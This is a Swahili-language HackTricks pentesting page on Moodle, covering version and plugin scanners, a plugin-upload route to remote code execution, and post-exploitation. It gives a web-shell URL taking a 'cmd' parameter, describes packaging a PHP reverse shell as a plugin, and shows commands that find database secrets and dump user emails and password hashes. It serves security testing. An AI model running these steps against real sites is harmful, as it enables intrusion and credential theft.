6.6 KiB
Moodle
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Sawa ya Bug bounty: jiandikishe kwa Intigriti, jukwaa la bug bounty la malipo ya juu lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata zawadi hadi $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Uchunguzi wa Kiotomatiki
droopescan
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
moodlescan
moodlescan
Moodlescan ni script ya Python iliyoundwa kwa ajili ya kugundua na kuchunguza udhaifu katika mfumo wa e-Learning wa Moodle. Inaweza kutambua udhaifu kama vile SQL injection, RCE, na kadhalika. Moodlescan inaweza kusaidia wapima usalama kubaini mapungufu katika ufungaji wao wa Moodle.
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
CMSMap
CMSMap
CMSMap
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
CVEs
Nimegundua kuwa zana za kiotomatiki ni za kufeli katika kutambua kasoro zinazoathiri toleo la moodle. Unaweza kuangalia kwa ajili yao katika https://snyk.io/vuln/composer:moodle%2Fmoodle
RCE
Unahitaji kuwa na jukumu la meneja na unaweza kusanikisha programu-jalizi ndani ya kichupo cha "Usimamizi wa Tovuti"**:**
Ikiwa wewe ni meneja, bado unaweza kuwa unahitaji kuamilisha chaguo hili. Unaweza kuona jinsi ya kufanya hivyo katika uthibitisho wa mamlaka wa moodle PoC: https://github.com/HoangKien1020/CVE-2020-14321.
Kisha, unaweza kusanikisha programu-jalizi ifuatayo ambayo ina kabati la php la pentest-monkey rev shell (kabla ya kuipakia unahitaji kuibana, kubadilisha anwani ya IP na bandari ya revshell na kuirudisha tena)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
Au unaweza kutumia programu-jalizi kutoka https://github.com/HoangKien1020/Moodle_RCE kupata kabati ya PHP ya kawaida na parameter "cmd".
Ili kupata ufikivu wa kuzindua programu-jalizi yenye nia mbaya unahitaji kufikia:
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
POST
Tafuta siri za hifadhidata
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
Pindua Vitambulisho kutoka kwenye database
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
Mwongozo wa tuzo ya mdudu: Jisajili kwa Intigriti, jukwaa la tuzo la mdudu la malipo lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.